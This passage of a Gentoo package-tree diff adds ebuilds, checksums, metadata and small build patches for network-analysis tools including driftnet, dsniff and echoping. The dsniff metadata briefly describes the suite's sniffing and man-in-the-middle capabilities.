+ econf $(use_enable ipv6)
+}
diff --git a/net-analyzer/dnstracer/metadata.xml b/net-analyzer/dnstracer/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/dnstracer/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/dosdetector/Manifest b/net-analyzer/dosdetector/Manifest
new file mode 100644
index 000000000000..16d4bd54b9d6
--- /dev/null
+++ b/net-analyzer/dosdetector/Manifest
@@ -0,0 +1 @@
+DIST dosdetector-20060621.tar.gz 164768 SHA256 664b9c94dc225e1e604c2791ed5fa2f3e1924908f81e92a3a16578db0b4aa77f SHA512 30b6980920920a05668165a1c3dcbd07a94f964367d5f48ca443e017806cfcce85a11ad57183d3cc29ac06e8a1ef122227187f6cacd237fe327db4a768b992f6 WHIRLPOOL 0626779c2e1c3a2fccaf2ad12a2ca9d0a267dc456c3acc426623fd7cb5e9ef09f771c554f754eeaf81638664316c8b1024655de310da32c9a029a0b4b4b4e930
diff --git a/net-analyzer/dosdetector/dosdetector-20060621.ebuild b/net-analyzer/dosdetector/dosdetector-20060621.ebuild
new file mode 100644
index 000000000000..ada4ceb9c162
--- /dev/null
+++ b/net-analyzer/dosdetector/dosdetector-20060621.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="Tool to analyze and detect suspicious traffic from IP and alert about it"
+HOMEPAGE="http://dark-zone.eu/resources/unix/dosdetector/"
+SRC_URI="http://dark-zone.eu/resources/unix/${PN}/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 x86"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-isdigit.patch
+}
diff --git a/net-analyzer/dosdetector/files/dosdetector-20060621-isdigit.patch b/net-analyzer/dosdetector/files/dosdetector-20060621-isdigit.patch
new file mode 100644
index 000000000000..11cd3170ded9
--- /dev/null
+++ b/net-analyzer/dosdetector/files/dosdetector-20060621-isdigit.patch
@@ -0,0 +1,10 @@
+--- a/include/dos.h
++++ b/include/dos.h
+@@ -26,6 +26,7 @@
+ #include <net/ppp_defs.h>
+ #include <sys/ioctl.h>
+ #include <time.h>
++#include <ctype.h> /* isdigit() */
+
+ /*
+ #define DEBUG_TREE 1
diff --git a/net-analyzer/dosdetector/metadata.xml b/net-analyzer/dosdetector/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/dosdetector/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/driftnet/Manifest b/net-analyzer/driftnet/Manifest
new file mode 100644
index 000000000000..419296bd4d93
--- /dev/null
+++ b/net-analyzer/driftnet/Manifest
@@ -0,0 +1 @@
+DIST driftnet-0.1.6_p20090401.tar.gz 43683 SHA256 6ed5d66ddc219a9e98a3879aa1317a9437dc7fc97b7a2bf538a0cb8bb32f4dca SHA512 93b2f7b644603bf2fea09163c3c8cc6eed7ed61f3ad7f6770a754e1a31afde5a75e27464c399261bfdafbe37729f201e6bbcb06bb6c59bf52ac0ede4393a15fa WHIRLPOOL 2523114d08ee789cf0194fafb3cf1886b1173d1106091cd73973f9a213656a94fa721ef08c1037d1f5efa488caa79c936df527e9463414445ea8c0c4a87333a7
diff --git a/net-analyzer/driftnet/driftnet-0.1.6_p20090401.ebuild b/net-analyzer/driftnet/driftnet-0.1.6_p20090401.ebuild
new file mode 100644
index 000000000000..4788dfd51cfc
--- /dev/null
+++ b/net-analyzer/driftnet/driftnet-0.1.6_p20090401.ebuild
@@ -0,0 +1,66 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="A program which listens to network traffic and picks out images from TCP streams it observes"
+HOMEPAGE="http://www.ex-parrot.com/~chris/driftnet/"
+SRC_URI="mirror://github/rbu/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ppc -sparc x86"
+SLOT="0"
+IUSE="gtk mp3 suid"
+
+CDEPEND="net-libs/libpcap
+ gtk? ( x11-libs/gtk+:2
+ virtual/jpeg
+ media-libs/giflib
+ media-libs/libpng )"
+
+DEPEND="${CDEPEND}
+ virtual/pkgconfig"
+RDEPEND="${CDEPEND}
+ mp3? ( media-sound/mpg123 )"
+
+src_prepare() {
+ sed -i \
+ -e 's:png_set_gray_1_2_4_to_8:png_set_expand_gray_1_2_4_to_8:' \
+ png.c || die
+ # With newer libpng, --cflags causes build failures.
+ sed -i \
+ -e 's:pkg-config --cflags libpng:pkg-config --libs libpng:' \
+ Makefile || die
+}
+
+src_compile() {
+ export CC=$(tc-getCC)
+ if use gtk; then
+ emake
+ mv driftnet driftnet-gtk || die
+ emake clean
+ fi
+
+ # build a non-gtk version for all users
+ sed -i 's:^\(.*gtk.*\)$:#\1:g' Makefile || die "sed disable gtk failed"
+ append-flags -DNO_DISPLAY_WINDOW
+ emake
+}
+
+src_install () {
+ dosbin driftnet
+ doman driftnet.1
+
+ use gtk && dosbin driftnet-gtk
+
+ dodoc CHANGES CREDITS README TODO
+
+ if use suid ; then
+ elog "marking the no-display driftnet as setuid root."
+ fowners root:wheel "/usr/sbin/driftnet"
+ fperms 710 "/usr/sbin/driftnet"
+ fperms u+s "/usr/sbin/driftnet"
+ fi
+}
diff --git a/net-analyzer/driftnet/metadata.xml b/net-analyzer/driftnet/metadata.xml
new file mode 100644
index 000000000000..6c3eac426b2c
--- /dev/null
+++ b/net-analyzer/driftnet/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>A program which listens to network traffic and picks out images from TCP streams it observes</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/dsniff/Manifest b/net-analyzer/dsniff/Manifest
new file mode 100644
index 000000000000..e80c7082e5fb
--- /dev/null
+++ b/net-analyzer/dsniff/Manifest
@@ -0,0 +1,3 @@
+DIST dsniff-2.4b1.tar.gz 131666 SHA256 a9803a7a02ddfe5fb9704ce86f0ffc48453c321e88db85810db411ba0841152a SHA512 62dafab293de6dc3e9b01561b3627d63ca334467c01c3550a6318d8bcbe99d5a301ec16967af34065a14e8bca1c4b6a41da766cbd51ebd8338615b950c4f642f WHIRLPOOL 10e5187314fe63058a015a3bef159e21a1ff7e0080ea72c8f804621d2b6254b6c05aa7fe2952bec568641a4a8d93eedf5f5407f127ee3464f73931bfe865d100
+DIST dsniff_2.4b1+debian-18.diff.gz 44819 SHA256 a65142b8d2206d3eae5db35d9972f8eac1110d45893d7f2182ca240ecd9b9d25 SHA512 9f219dfa7fd68399126cd2b373a7054168638606c03e8297af46a89c242f81e45f99857922e6782cab608b8cafab528bcfaeb37acd3cca85f5b4a8efd91e71d5 WHIRLPOOL 9c6ab2938e139ea5b43319000297d6bdfdd4ab234058baeccc7eccbee0f5a7a5824860b4397421402e1ff1cd5c446ef1d17de6ce7b5ec9244e5770662b2c6f9a
+DIST dsniff_2.4b1+debian-22.1.debian.tar.gz 29657 SHA256 28ddb8514c6a7a17f51f428b6fada299baf5a3efa153f77f081ac6c1e6466633 SHA512 11c6a3c04b5a8b3afb78901003132186964e88019011bea69b43a000c31d23f15c1a1c343c2ad1b03bf0a09664aebfa6f99e335fdfa1496bb020db6541eab6e3 WHIRLPOOL a1236e7452e3442a1ac0d7a6bbf71d0d0ef22bf508aa47838d220ed18e8c16aba4a822a343c9922de71f6f77c6b10d58d6a56a631488e71ca3307d9a9132bee5
diff --git a/net-analyzer/dsniff/dsniff-2.4_beta1-r4.ebuild b/net-analyzer/dsniff/dsniff-2.4_beta1-r4.ebuild
new file mode 100644
index 000000000000..7b434b55a064
--- /dev/null
+++ b/net-analyzer/dsniff/dsniff-2.4_beta1-r4.ebuild
@@ -0,0 +1,58 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit autotools eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="A collection of tools for network auditing and penetration testing"
+HOMEPAGE="http://monkey.org/~dugsong/dsniff/"
+SRC_URI="http://monkey.org/~dugsong/${PN}/beta/${P/_beta/b}.tar.gz
+ mirror://debian/pool/main/d/${PN}/${PN}_2.4b1+debian-18.diff.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE="X"
+
+DEPEND="net-libs/libpcap
+ >=net-libs/libnet-1.1.2.1-r1
+ >=net-libs/libnids-1.21
+ >=dev-libs/openssl-0.9.6e
+ >=sys-libs/db-4.2.52_p4
+ sys-apps/sed
+ X? ( x11-libs/libXmu )"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P/_beta1/}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+
+ # Debian's patchset
+ epatch "${DISTDIR}"/${PN}_2.4b1+debian-18.diff.gz
+ epatch "${S}"/dsniff-2.4b1+debian/debian/patches/*.dpatch
+
+ sed -i 's:-DDSNIFF_LIBDIR=\\\"$(libdir)/\\\"::' Makefile.in || die "sed makefile"
+ epatch "${FILESDIR}"/2.3-makefile.patch
+
+ # Bug 125084
+ epatch "${FILESDIR}"/${PV}-httppostfix.patch
+
+ eautoreconf
+}
+
+src_compile() {
+ econf \
+ $(use_with X x) \
+ || die "econf failed"
+ emake CC="$(tc-getCC)" || die "emake failed"
+}
+
+src_install() {
+ emake install install_prefix="${D}" || die "emake install failed"
+ dodir /etc/dsniff
+ cp "${D}"/usr/share/dsniff/{dnsspoof.hosts,dsniff.{magic,services}} \
+ "${D}"/etc/dsniff/
+ dodoc CHANGES README TODO
+}
diff --git a/net-analyzer/dsniff/dsniff-2.4_beta1-r7.ebuild b/net-analyzer/dsniff/dsniff-2.4_beta1-r7.ebuild
new file mode 100644
index 000000000000..5b3e2978c083
--- /dev/null
+++ b/net-analyzer/dsniff/dsniff-2.4_beta1-r7.ebuild
@@ -0,0 +1,68 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="A collection of tools for network auditing and penetration testing"
+HOMEPAGE="http://monkey.org/~dugsong/dsniff/"
+SRC_URI="
+ http://monkey.org/~dugsong/${PN}/beta/${P/_beta/b}.tar.gz
+ mirror://debian/pool/main/d/${PN}/${PN}_2.4b1+debian-22.1.debian.tar.gz
+"
+LICENSE="BSD"
+
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="X"
+
+DEPEND="net-libs/libpcap
+ >=net-libs/libnet-1.1.2.1-r1
+ >=net-libs/libnids-1.21
+ >=dev-libs/openssl-0.9.6e
+ >=sys-libs/db-4.2.52_p4
+ X? ( x11-libs/libXmu )"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P/_beta1/}"
+
+src_prepare() {
+ # Debian patchset, needs to be applied in the exact order that "series"
+ # lists or patching will fail.
+ # Bug #479882
+ epatch $(
+ for file in $(< "${WORKDIR}"/debian/patches/series ); do
+ printf "%s/debian/patches/%s " "${WORKDIR}" "${file}"
+ done
+ )
+
+ # Bug 125084
+ epatch "${FILESDIR}"/${PV}-httppostfix.patch
+
+ # various Makefile.in patches
+ epatch "${FILESDIR}"/${PV}-make.patch
+
+ # bug #538462
+ epatch "${FILESDIR}"/${PV}-macof-size-calculation.patch
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_with X x) \
+ || die "econf failed"
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ emake install install_prefix="${D}"
+ dodir /etc/dsniff
+ cp "${D}"/usr/share/dsniff/{dnsspoof.hosts,dsniff.{magic,services}} \
+ "${D}"/etc/dsniff/
+ dodoc CHANGES README TODO
+}
diff --git a/net-analyzer/dsniff/dsniff-2.4_beta1-r8.ebuild b/net-analyzer/dsniff/dsniff-2.4_beta1-r8.ebuild
new file mode 100644
index 000000000000..392ef2c7bdbe
--- /dev/null
+++ b/net-analyzer/dsniff/dsniff-2.4_beta1-r8.ebuild
@@ -0,0 +1,75 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="A collection of tools for network auditing and penetration testing"
+HOMEPAGE="http://monkey.org/~dugsong/dsniff/"
+SRC_URI="
+ http://monkey.org/~dugsong/${PN}/beta/${P/_beta/b}.tar.gz
+ mirror://debian/pool/main/d/${PN}/${PN}_2.4b1+debian-22.1.debian.tar.gz
+"
+LICENSE="BSD"
+
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="X"
+
+DEPEND="net-libs/libpcap
+ >=net-libs/libnet-1.1.2.1-r1
+ >=net-libs/libnids-1.21
+ >=dev-libs/openssl-0.9.6e
+ >=sys-libs/db-4.2.52_p4
+ X? ( x11-libs/libXmu )"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P/_beta1/}"
+
+src_prepare() {
+ # replace Debian patch 23 with a simpler one (bug #506076)
+ mv -v \
+ "${WORKDIR}"/debian/patches/23_urlsnarf_timestamp.patch{,.old} || die
+ cp -v \
+ "${FILESDIR}"/${PV}-urlsnarf-pcap_timestamps.patch \
+ "${WORKDIR}"/debian/patches/23_urlsnarf_timestamp.patch || die
+
+ # Debian patchset, needs to be applied in the exact order that "series"
+ # lists or patching will fail.
+ # Bug #479882
+ epatch $(
+ for file in $(< "${WORKDIR}"/debian/patches/series ); do
+ printf "%s/debian/patches/%s " "${WORKDIR}" "${file}"
+ done
+ )
+
+ # Bug 125084
+ epatch "${FILESDIR}"/${PV}-httppostfix.patch
+
+ # various Makefile.in patches
+ epatch "${FILESDIR}"/${PV}-make.patch
+
+ # bug #538462
+ epatch "${FILESDIR}"/${PV}-macof-size-calculation.patch
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_with X x) \
+ || die "econf failed"
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ emake install install_prefix="${D}"
+ dodir /etc/dsniff
+ cp "${D}"/usr/share/dsniff/{dnsspoof.hosts,dsniff.{magic,services}} \
+ "${D}"/etc/dsniff/
+ dodoc CHANGES README TODO
+}
diff --git a/net-analyzer/dsniff/files/2.3-makefile.patch b/net-analyzer/dsniff/files/2.3-makefile.patch
new file mode 100644
index 000000000000..6225ec2f4473
--- /dev/null
+++ b/net-analyzer/dsniff/files/2.3-makefile.patch
@@ -0,0 +1,29 @@
+--- a/Makefile.in 2003-08-25 18:07:17.000000000 +1200
++++ b/Makefile.in 2003-08-25 18:29:13.000000000 +1200
+@@ -94,7 +94,7 @@
+ $(RANLIB) $@
+
+ dsniff: $(HDRS) $(SRCS) $(OBJS)
+- $(CC) $(LDFLAGS) -o $@ $(OBJS) $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB) $(DBLIB) $(SSLLIB)
++ $(CC) $(LDFLAGS) -o $@ $(OBJS) $(LIBS) $(DBLIB) $(NIDSLIB) $(PCAPLIB) $(LNETLIB) $(SSLLIB)
+
+ arpspoof: arpspoof.o arp.o
+ $(CC) $(LDFLAGS) -o $@ arpspoof.o arp.o $(LIBS) $(PCAPLIB) $(LNETLIB)
+@@ -115,7 +115,7 @@
+ $(CC) $(LDFLAGS) -o $@ msgsnarf.o buf.o pcaputil.o $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB)
+
+ sshmitm: sshmitm.o buf.o hex.o record.o ssh.o sshcrypto.o
+- $(CC) $(LDFLAGS) -o $@ sshmitm.o buf.o hex.o record.o ssh.o sshcrypto.o $(LIBS) $(LNETLIB) $(DBLIB) $(SSLLIB)
++ $(CC) $(LDFLAGS) -o $@ sshmitm.o buf.o hex.o record.o ssh.o sshcrypto.o $(LIBS) $(DBLIB) $(LNETLIB) $(SSLLIB)
+
+ tcpkill: tcpkill.o pcaputil.o
+ $(CC) $(LDFLAGS) -o $@ tcpkill.o pcaputil.o $(LIBS) $(PCAPLIB) $(LNETLIB)
+@@ -130,7 +130,7 @@
+ $(CC) $(LDFLAGS) -o $@ urlsnarf.o base64.o buf.o pcaputil.o $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB)
+
+ webmitm: webmitm.o base64.o buf.o decode_http.o record.o
+- $(CC) $(LDFLAGS) -o $@ webmitm.o base64.o buf.o decode_http.o record.o $(LIBS) $(LNETLIB) $(DBLIB) $(SSLLIB)
++ $(CC) $(LDFLAGS) -o $@ webmitm.o base64.o buf.o decode_http.o record.o $(LIBS) $(DBLIB) $(LNETLIB) $(SSLLIB)
+
+ webspy: webspy.o base64.o buf.o remote.o
+ $(CC) $(LDFLAGS) -o $@ webspy.o base64.o buf.o remote.o $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB) $(X11LIB)
diff --git a/net-analyzer/dsniff/files/2.4_beta1-httppostfix.patch b/net-analyzer/dsniff/files/2.4_beta1-httppostfix.patch
new file mode 100644
index 000000000000..62c9a90fe8e3
--- /dev/null
+++ b/net-analyzer/dsniff/files/2.4_beta1-httppostfix.patch
@@ -0,0 +1,20 @@
+--- a/decode_http.c 2000-12-19 07:38:05.000000000 +0800
++++ b/decode_http.c 2006-03-05 22:32:14.000000000 +0800
+@@ -139,14 +139,14 @@
+ host = p;
+ }
+ else if (req[0] == 'P') {
+- if (strncmp(p, "Content-type: ", 14) == 0) {
+- if (strncmp(p + 14, "application/"
++ if (strncasecmp(p, "Content-type: ", 14) == 0) {
++ if (strncasecmp(p + 14, "application/"
+ "x-www-form-urlencoded",
+ 33) != 0) {
+ query = NULL;
+ }
+ }
+- else if (strncmp(p, "Content-length: ", 16) == 0) {
++ else if (strncasecmp(p, "Content-length: ", 16) == 0) {
+ p += 16;
+ i = atoi(p);
+ if ((msg = buf_tok(&inbuf, NULL, i)) == NULL)
diff --git a/net-analyzer/dsniff/files/2.4_beta1-macof-size-calculation.patch b/net-analyzer/dsniff/files/2.4_beta1-macof-size-calculation.patch
new file mode 100644
index 000000000000..068133de2e4d
--- /dev/null
+++ b/net-analyzer/dsniff/files/2.4_beta1-macof-size-calculation.patch
@@ -0,0 +1,11 @@
+--- a/macof.c
++++ b/macof.c
+@@ -134,7 +134,7 @@ main(int argc, char *argv[])
+ libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512,
+ 0, 0, LIBNET_TCP_H, NULL, 0, l, 0);
+
+- libnet_build_ipv4(LIBNET_TCP_H, 0,
++ libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H, 0,
+ libnet_get_prand(LIBNET_PRu16), 0, 64,
+ IPPROTO_TCP, 0, src, dst, NULL, 0, l, 0);
+
diff --git a/net-analyzer/dsniff/files/2.4_beta1-make.patch b/net-analyzer/dsniff/files/2.4_beta1-make.patch
new file mode 100644
index 000000000000..a8dc2b627ad6
--- /dev/null
+++ b/net-analyzer/dsniff/files/2.4_beta1-make.patch
@@ -0,0 +1,62 @@
+--- a/Makefile.in 2010-09-20 12:12:25.000000000 +0200
++++ b/Makefile.in 2010-09-20 12:12:26.000000000 +0200
+@@ -16,7 +16,7 @@
+ mandir = @mandir@
+
+ CC = @CC@
+-CFLAGS = @CFLAGS@ -DDSNIFF_LIBDIR=\"$(libdir)/\"
++CFLAGS = @CFLAGS@
+ LDFLAGS = @LDFLAGS@
+
+ PCAPINC = @PCAPINC@
+@@ -75,12 +75,20 @@
+ .c.o:
+ $(CC) $(CFLAGS) $(INCS) -c $(srcdir)/$*.c
+
+-all: libmissing.a $(PROGS)
++all: $(PROGS)
++
++$(PROGS): libmissing.a
++
++$(OBJS): $(GEN)
+
++mount.h: mount.x
++ rpcgen -h mount.x -o mount.h
++
+ mount.c: mount.x
+- rpcgen -h mount.x -o mount.h
+ rpcgen -c mount.x -o mount.c
+
++nfs_prot.h: nfs_prot.x
++ rpcgen -h nfs_prot.x -o nfs_prot.h
++
+ nfs_prot.c: nfs_prot.x
+- rpcgen -h nfs_prot.x -o nfs_prot.h
+ rpcgen -c nfs_prot.x -o nfs_prot.c
+@@ -93,7 +97,7 @@
+ $(RANLIB) $@
+
+ dsniff: $(HDRS) $(SRCS) $(OBJS)
+- $(CC) $(LDFLAGS) -o $@ $(OBJS) $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB) $(DBLIB) $(SSLLIB)
++ $(CC) $(LDFLAGS) -o $@ $(OBJS) $(LIBS) $(DBLIB) $(NIDSLIB) $(PCAPLIB) $(LNETLIB) $(SSLLIB)
+
+ arpspoof: arpspoof.o arp.o
+ $(CC) $(LDFLAGS) -o $@ arpspoof.o arp.o $(LIBS) $(PCAPLIB) $(LNETLIB)
+@@ -114,7 +118,7 @@
+ $(CC) $(LDFLAGS) -o $@ msgsnarf.o buf.o pcaputil.o $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB)
+
+ sshmitm: sshmitm.o buf.o hex.o record.o ssh.o sshcrypto.o
+- $(CC) $(LDFLAGS) -o $@ sshmitm.o buf.o hex.o record.o ssh.o sshcrypto.o $(LIBS) $(LNETLIB) $(DBLIB) $(SSLLIB)
++ $(CC) $(LDFLAGS) -o $@ sshmitm.o buf.o hex.o record.o ssh.o sshcrypto.o $(LIBS) $(DBLIB) $(LNETLIB) $(SSLLIB)
+
+ sshow: sshow.o pcaputil.o
+ $(CC) $(LDFLAGS) -o $@ sshow.o pcaputil.o $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB)
+@@ -132,7 +136,7 @@
+ $(CC) $(LDFLAGS) -o $@ urlsnarf.o base64.o buf.o pcaputil.o $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB)
+
+ webmitm: webmitm.o base64.o buf.o decode_http.o record.o
+- $(CC) $(LDFLAGS) -o $@ webmitm.o base64.o buf.o decode_http.o record.o $(LIBS) $(LNETLIB) $(DBLIB) $(SSLLIB)
++ $(CC) $(LDFLAGS) -o $@ webmitm.o base64.o buf.o decode_http.o record.o $(LIBS) $(DBLIB) $(LNETLIB) $(SSLLIB)
+
+ webspy: webspy.o base64.o buf.o remote.o
+ $(CC) $(LDFLAGS) -o $@ webspy.o base64.o buf.o remote.o $(LIBS) $(NIDSLIB) $(PCAPLIB) $(LNETLIB) $(X11LIB)
diff --git a/net-analyzer/dsniff/files/2.4_beta1-urlsnarf-pcap_timestamps.patch b/net-analyzer/dsniff/files/2.4_beta1-urlsnarf-pcap_timestamps.patch
new file mode 100644
index 000000000000..a2a7a36966ac
--- /dev/null
+++ b/net-analyzer/dsniff/files/2.4_beta1-urlsnarf-pcap_timestamps.patch
@@ -0,0 +1,15 @@
+Author: Hilko Bengen <bengen@debian.org>
+Description: urlsnarf: use timestamps from pcap file if available. Closes: #573365
+Index: dsniff-2.4b1+debian/urlsnarf.c
+===================================================================
+--- a/urlsnarf.c
++++ b/urlsnarf.c
+@@ -57,7 +57,7 @@
+ {
+ static char tstr[32], sign;
+ struct tm *t, gmt;
+- time_t tt = time(NULL);
++ time_t tt = nids_last_pcap_header->ts.tv_sec;
+ int days, hours, tz, len;
+
+ gmt = *gmtime(&tt);
diff --git a/net-analyzer/dsniff/metadata.xml b/net-analyzer/dsniff/metadata.xml
new file mode 100644
index 000000000000..813da7f880a2
--- /dev/null
+++ b/net-analyzer/dsniff/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>
+dsniff is a collection of tools for network auditing and penetration testing.
+dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a
+network for interesting data (passwords, e-mail, files, etc.). arpspoof,
+dnsspoof, and macof facilitate the interception of network traffic normally
+unavailable to an attacker (e.g, due to layer-2 switching). sshmitm and webmitm
+implement active monkey-in-the-middle attacks against redirected SSH and HTTPS
+sessions by exploiting weak bindings in ad-hoc PKI.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/echoping/Manifest b/net-analyzer/echoping/Manifest
new file mode 100644
index 000000000000..a5a95da72e36
--- /dev/null
+++ b/net-analyzer/echoping/Manifest
@@ -0,0 +1,2 @@
+DIST echoping-6.0.2.tar.gz 1660983 SHA256 1dfa4c45bf461b2379ff91773ed7136176e2abac9e85c26bc9654942b5155eac SHA512 ca9a38c3be9da283e73a7a1b13ab003dca6a2ee317e2961325f3e6803f132ae2f5e4206d946564915c573f21f9c3e9641d61f6b3ae5806bbaa92c2f30f1e5e22 WHIRLPOOL 9140d20d82ed1c38df91d8905fb678c1ca717af518b374c3379db285662d55e70c8da5bb227c4f47a4c34f649c686037636c024a38d1109cd939f6974b274e15
+DIST echoping-6.0.2_p434.tar.gz 74568 SHA256 152a4a9d2a3962fa8cb95eeb29b5d22a7039d4408f5ba22286259856f095baf7 SHA512 1b4f5f1ea6ba000c558cab3b8e86758d6c539d8cd237620000d837b468861a177ac733441c885eb8ec1c35b49baa33a82e34e3f8b14b05429a075b72233d5799 WHIRLPOOL cae10459766311ded4f6459e519461fb91de7dd9429679927c3955a5a9b09b9b9a9706947b3a5c1495805367c91cf2035d3154a3ff180241782deec304eb8aaf
diff --git a/net-analyzer/echoping/echoping-6.0.2-r2.ebuild b/net-analyzer/echoping/echoping-6.0.2-r2.ebuild
new file mode 100644
index 000000000000..58c102110611
--- /dev/null
+++ b/net-analyzer/echoping/echoping-6.0.2-r2.ebuild
@@ -0,0 +1,60 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+inherit eutils autotools
+
+DESCRIPTION="Small program to test performances of remote servers"
+HOMEPAGE="http://echoping.sourceforge.net/"
+SRC_URI="mirror://sourceforge/echoping/${P}.tar.gz"
+LICENSE="GPL-2"
+
+SLOT="0"
+KEYWORDS="amd64 ~hppa x86"
+IUSE="gnutls http icp idn priority smtp ssl tos postgres ldap"
+RESTRICT="test"
+
+RDEPEND="idn? ( net-dns/libidn )
+ postgres? ( dev-db/postgresql )
+ ldap? ( net-nds/openldap )
+ ssl? (
+ gnutls? ( >=net-libs/gnutls-1.0.17 )
+ !gnutls? ( >=dev-libs/openssl-0.9.7d )
+ )"
+DEPEND="${RDEPEND}
+ >=sys-devel/libtool-2"
+
+REQUIRED_USE="gnutls? ( ssl )"
+
+DOCS=( README AUTHORS ChangeLog DETAILS NEWS TODO )
+
+src_prepare() {
+ # bug 279525:
+ epatch "${FILESDIR}/${P}-gnutls.patch"
+
+ epatch "${FILESDIR}/${P}-fix_implicit_declarations.patch"
+
+ rm -f ltmain.sh
+ cp /usr/share/libtool/config/ltmain.sh .
+ local i
+ for i in . plugins/ plugins/*/; do
+ pushd "${i}" > /dev/null
+ eautoreconf
+ popd > /dev/null
+ done
+}
+
+src_configure() {
+ econf \
+ --config-cache \
+ --disable-ttcp \
+ $(use_enable http) \
+ $(use_enable icp) \
+ $(use_with idn libidn) \
+ $(use_enable smtp) \
+ $(use_enable tos) \
+ $(use_enable priority) \
+ $(usex gnutls $(use_with gnutls) $(use_with ssl))
+}
diff --git a/net-analyzer/echoping/echoping-6.0.2_p434-r1.ebuild b/net-analyzer/echoping/echoping-6.0.2_p434-r1.ebuild
new file mode 100644
index 000000000000..b6b1acb9d030
--- /dev/null
+++ b/net-analyzer/echoping/echoping-6.0.2_p434-r1.ebuild
@@ -0,0 +1,56 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Small program to test performances of remote servers"
+HOMEPAGE="http://echoping.sourceforge.net/"
+SRC_URI="http://dev.gentoo.org/~jer/${P}.tar.gz"
+LICENSE="GPL-2"
+
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE="gnutls http icp idn priority smtp ssl tos postgres ldap"
+RESTRICT="test"
+
+RDEPEND="idn? ( net-dns/libidn )
+ postgres? ( dev-db/postgresql )
+ ldap? ( net-nds/openldap )
+ ssl? (
+ gnutls? ( >=net-libs/gnutls-1.0.17 )
+ !gnutls? ( >=dev-libs/openssl-0.9.7d )
+ )"
+DEPEND="${RDEPEND}
+ >=sys-devel/libtool-2"
+
+REQUIRED_USE="gnutls? ( ssl )"
+
+DOCS=( README AUTHORS ChangeLog DETAILS NEWS TODO )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-6.0.2_p434-fix_implicit_declarations.patch
+
+ cp /usr/share/libtool/config/ltmain.sh .
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_enable http) \
+ $(use_enable icp) \
+ $(use_enable priority) \
+ $(use_enable smtp) \
+ $(use_enable tos) \
+ $(use_with idn libidn) \
